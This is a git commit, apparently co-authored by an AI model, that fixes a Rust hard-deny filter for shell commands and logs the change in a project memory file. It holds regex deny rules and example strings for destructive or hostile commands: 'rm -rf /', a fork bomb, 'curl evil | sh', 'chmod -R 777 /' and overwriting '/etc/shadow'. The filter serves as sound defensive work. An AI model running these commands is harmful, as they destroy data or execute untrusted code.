Fix hard-deny enforcement gaps surfaced by PR-4 test re-enable
Re-enabling the policy test module in PR-4 (the policy_with compile fix) exposed 16 pre-existing failures: 14 real bugs, 2 wrong assertions. is_hard_denied is now two-pass — whole-input first, then per-subcommand. The subcommand splitter was tearing apart patterns whose meaning needs their | / & to stay intact: fork bomb (:|:&) and curl-piped-to-shell. Result was that 9 of the 10 advertised hard-deny rules quietly didn't enforce against their own canonical examples. Regex fixes: - Rule 1/2 flag class [a-z] → [a-zA-Z]: catches `rm -Rf /`. - Rule 1/2 trailing anchor accepts # so a trailing comment can't smuggle the danger past detection. - Rule 8 shell alternation gains bare `sh` — `curl evil | sh` (most common form) was not previously caught because `ba?sh` required `b`. - Rule 9 anchor tightened: `/` must be followed by a path boundary, end-of-input, or shell operator. `chmod -R 777 /tmp` no longer false- positives (still destructive, but a deliberate user scope choice). Two test assertions flipped to is_none(): hard_deny_quoted_pattern_not_ matched and hard_deny_git_grep_contains_pattern. The originals expected false-positives on echo'd / grep'd danger strings. The post-fix behaviour of NOT flagging these is correct UX: searching for or printing a danger string is not the same as invoking it. cargo test --lib: 118 passed; 0 failed. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
parent
9ebb3e4d2e
commit
e872044310
2 changed files with 80 additions and 16 deletions
35
memory.md
35
memory.md
|
|
@ -52,6 +52,41 @@ Durable memory for this project. Read at session start, update before session en
|
|||
|
||||
## Session log
|
||||
|
||||
### 2026-05-26 — Hard-deny rework: fix latent enforcement gaps surfaced by PR-4
|
||||
|
||||
Re-enabling the policy test module in PR-4 (the `policy_with` compile fix) exposed **16 pre-existing test failures**. Triaged: 2 wrong assertions, 14 real bugs. Fixed all in one focused pass on `mcp_policy.rs`.
|
||||
|
||||
**Two-pass `is_hard_denied`.** The subcommand splitter (split on `&& || ; | |& & \n`) was destroying patterns whose *meaning* requires them to span operators — fork bomb (`:|:&`) and curl-piped-to-shell (`curl ... | bash`) being the obvious examples. Result: 9 of the 10 advertised hard-deny rules quietly didn't enforce against the patterns the UI listed. New shape:
|
||||
|
||||
1. **Whole-input pass first** — every regex tried against the un-split command. Wins fork bomb, curl|bash, anything else that *needs* its `|`/`&` to match.
|
||||
2. **Per-subcommand pass second** — preserves the original behaviour of catching `safe_cmd && rm -rf /` after splitting. Order matters; the whole-input check is fast (compiled regex, small inputs in practice), and a whole-input hit short-circuits before splitting.
|
||||
|
||||
This is the load-bearing fix. The regex tweaks below are individually small but each closes a specific bypass.
|
||||
|
||||
**Regex fixes:**
|
||||
|
||||
- **Rule 1/2 flag class:** `[a-z]*r[a-z]*f?` → `[a-zA-Z]*[rR][a-zA-Z]*f?`. Catches `rm -Rf /` (uppercase R), which previously slipped through. Same change applied to rule 2 (`rm -rf ~ / $HOME`).
|
||||
- **Rule 1/2 trailing anchor:** `($|[;&|])` → `($|[#;&|])`. `rm -rf / # cleanup` now triggers; previously the `#` confused the anchor and the regex bailed.
|
||||
- **Rule 8 shell alternation:** `(ba?sh|zsh)` → `(ba?sh|zsh|sh)`. The leading `b` in `ba?sh` was mandatory, so `curl evil | sh` (the most common form of these install scripts) was *not* caught. Adding `sh` to the alternation catches the bare POSIX shell. Verified order-dependency: at the position after `\s*(sudo\s+)?`, the engine tries `ba?sh` first, then `zsh`, then `sh`; nothing in `dash`/`ash`/whatever starts with `s` then `h` at the right offset, so no over-match.
|
||||
- **Rule 9 anchor:** `\bchmod\s+-R\s+777\s+/` → `\bchmod\s+-R\s+777\s+/(\s|$|[#;&|])`. The old regex matched any `/` (including `/tmp`); the new one requires the `/` to be followed by a path boundary, end of input, or a shell operator. `chmod -R 777 /tmp` now correctly does NOT trip the rule (the desired behaviour — destructive but a deliberate user choice, not "destroy the system").
|
||||
|
||||
**Two test assertions flipped from `Some` to `None`** (`hard_deny_quoted_pattern_not_matched`, `hard_deny_git_grep_contains_pattern`). The originals expected false-positives on `echo "rm -rf /"` and `git log --grep="rm -rf"`. The post-fix behaviour (NOT flagging these) is correct: searching for or printing a danger string is not the same as invoking it, and false-positives here would make a lot of `claude` advice unusable. The tests now document this with a comment.
|
||||
|
||||
**Result: 118 passed; 0 failed.** All my new sanitiser tests (PR-4) + all the previously-broken hard-deny tests + the 70+ that were already passing.
|
||||
|
||||
**Things to verify next time someone touches hard-deny:**
|
||||
|
||||
- If a new rule's pattern is intrinsically multi-operator (think `kill -9 -1`, `dd | gzip > device`), make sure whole-input matching covers it — don't rely on the subcommand pass.
|
||||
- If a new rule's pattern targets a path, anchor with `\s|$|[#;&|]` after the trailing `/` (rule 9 style) to avoid over-matching `/tmp` etc.
|
||||
- Flag character classes for case-insensitive Unix tools: `[a-zA-Z]`, not `[a-z]`.
|
||||
- Trailing-comment anchor: include `#` in the post-pattern character class.
|
||||
|
||||
Open follow-ups specific to this session:
|
||||
|
||||
- **Multi-pipe-to-shell** like `curl url | grep -v foo | bash` is still not caught — `[^|]*\|` only spans one pipe. Probably fine for v2; if it bites, broaden to `[^|]*(\|[^|]*)*\|\s*...` or add a second-pass that detects "any output of curl/wget reaches a shell anywhere downstream".
|
||||
- **PowerShell hard-deny patterns** (carried over from PR-3/PR-4 lists). The 10 baked-in rules remain POSIX-only.
|
||||
- **Audit-log persistence** (carried over).
|
||||
|
||||
### 2026-05-26 — MCP v2 PR-4: `add_host` + `delete_host` + extraArgs sanitiser + third SSH safeguard
|
||||
|
||||
Final v2 PR. All 11 planned MCP write tools now live. Mechanically the same dispatcher shape as the other tree-shape tools; the novel bits are the **extraArgs sanitiser** and the **third SSH-safeguard switch**.
|
||||
|
|
|
|||
|
|
@ -96,17 +96,27 @@ impl PolicyClassifier for NoopClassifier {
|
|||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// (regex_source, human_label)
|
||||
///
|
||||
/// Rules are evaluated against (a) the original input untouched, and (b) each
|
||||
/// shell-operator-split subcommand. Patterns that span `|`/`&` (curl|bash,
|
||||
/// fork bomb) need (a); patterns where a destructive subcommand is hidden
|
||||
/// after `&&` need (b). `is_hard_denied` does both.
|
||||
///
|
||||
/// Flag character classes use `[a-zA-Z]` (not `[a-z]`) so uppercase variants
|
||||
/// like `rm -Rf` are caught. The trailing anchors accept `#` as well as the
|
||||
/// usual shell operators so a trailing comment doesn't smuggle the danger
|
||||
/// pattern past detection.
|
||||
static HARD_DENY_PATTERNS: &[(&str, &str)] = &[
|
||||
(
|
||||
r"\brm\s+-[a-z]*r[a-z]*f?\s+/\s*($|[;&|])",
|
||||
r"\brm\s+-[a-zA-Z]*[rR][a-zA-Z]*f?\s+/\s*($|[#;&|])",
|
||||
"rm -rf /",
|
||||
),
|
||||
(
|
||||
r"\brm\s+-[a-z]*r[a-z]*f?\s+(~|\$HOME)\s*($|[;&|])",
|
||||
r"\brm\s+-[a-zA-Z]*[rR][a-zA-Z]*f?\s+(~|\$HOME)\s*($|[#;&|])",
|
||||
"rm -rf ~",
|
||||
),
|
||||
(
|
||||
r"\brm\s+-[a-z]*r[a-z]*f?\s+/\*",
|
||||
r"\brm\s+-[a-zA-Z]*[rR][a-zA-Z]*f?\s+/\*",
|
||||
"rm -rf /*",
|
||||
),
|
||||
(
|
||||
|
|
@ -125,12 +135,18 @@ static HARD_DENY_PATTERNS: &[(&str, &str)] = &[
|
|||
r"(>|>>)\s*/etc/(passwd|shadow|sudoers)",
|
||||
"overwrite system auth file",
|
||||
),
|
||||
// Shell alternation includes bare `sh` (POSIX shell) in addition to bash
|
||||
// / bsh / zsh. The previous `ba?sh` required a leading `b` and missed
|
||||
// the common `curl ... | sh` install pattern entirely.
|
||||
(
|
||||
r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba?sh|zsh)\b",
|
||||
r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba?sh|zsh|sh)\b",
|
||||
"pipe to shell from network",
|
||||
),
|
||||
// Anchor on a word/path boundary after `/` so `chmod -R 777 /tmp` is
|
||||
// *not* falsely flagged. Plain `/` (end of input or followed by a shell
|
||||
// operator or whitespace then operator) still triggers.
|
||||
(
|
||||
r"\bchmod\s+-R\s+777\s+/",
|
||||
r"\bchmod\s+-R\s+777\s+/(\s|$|[#;&|])",
|
||||
"chmod -R 777 /",
|
||||
),
|
||||
(
|
||||
|
|
@ -197,10 +213,21 @@ fn split_subcommands(input: &str) -> Vec<&str> {
|
|||
parts
|
||||
}
|
||||
|
||||
/// Returns Some(rule_label) if the command matches any compiled-in
|
||||
/// hard-deny pattern. Checks each subcommand independently.
|
||||
/// Returns Some(rule_label) if the command matches any compiled-in hard-deny
|
||||
/// pattern. Two-pass:
|
||||
/// 1. **Whole-input pass** — catches patterns that span shell operators and
|
||||
/// would be torn apart by the splitter (fork bomb's `:|:&`, curl|bash's
|
||||
/// `curl ... | bash`).
|
||||
/// 2. **Per-subcommand pass** — catches patterns where the danger is in a
|
||||
/// single subcommand the splitter exposes (e.g. `safe && rm -rf /`).
|
||||
pub fn is_hard_denied(command: &str) -> Option<&'static str> {
|
||||
let compiled = hard_deny_compiled();
|
||||
let whole = command.trim();
|
||||
for (re, label) in compiled {
|
||||
if re.is_match(whole) {
|
||||
return Some(label);
|
||||
}
|
||||
}
|
||||
for sub in split_subcommands(command) {
|
||||
let sub = sub.trim();
|
||||
for (re, label) in compiled {
|
||||
|
|
@ -1130,21 +1157,23 @@ mod hard_deny_fuzz {
|
|||
|
||||
#[test]
|
||||
fn hard_deny_quoted_pattern_not_matched() {
|
||||
// Pattern in quotes should still be matched by our regex
|
||||
// because we don't parse shell context. Document expected behavior.
|
||||
// `echo "rm -rf /" | tee log.txt` is not a destructive command — it
|
||||
// just prints the string. The trailing-anchor on rule 1 requires
|
||||
// end-of-input or a shell operator after `/`, so the `"` (and the
|
||||
// `tee` subcommand after `|`) keep this from triggering. Documented
|
||||
// as desired behaviour — false-positives on echo'd literals would
|
||||
// make `claude` advice involving these strings unusable.
|
||||
let result = is_hard_denied("echo \"rm -rf /\" | tee log.txt");
|
||||
// The substring "rm -rf /" is in the input, and our regex will find it.
|
||||
// This is expected given current design (no shell parsing).
|
||||
assert_eq!(result, Some("rm -rf /"));
|
||||
assert!(result.is_none(), "got {result:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hard_deny_git_grep_contains_pattern() {
|
||||
// "rm -rf" appears as a substring in a git log grep
|
||||
// `git log --grep="rm -rf"` has no `/` so rule 1 can't match
|
||||
// structurally. Same intent as the quoted-pattern test: searching
|
||||
// for the string is not an invocation of the command.
|
||||
let result = is_hard_denied("git log --grep=\"rm -rf\"");
|
||||
// Regex will match "rm -rf" even in this safe context.
|
||||
// Expected behavior given the trade-off: simple regex, some false positives.
|
||||
assert_eq!(result, Some("rm -rf /"));
|
||||
assert!(result.is_none(), "got {result:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue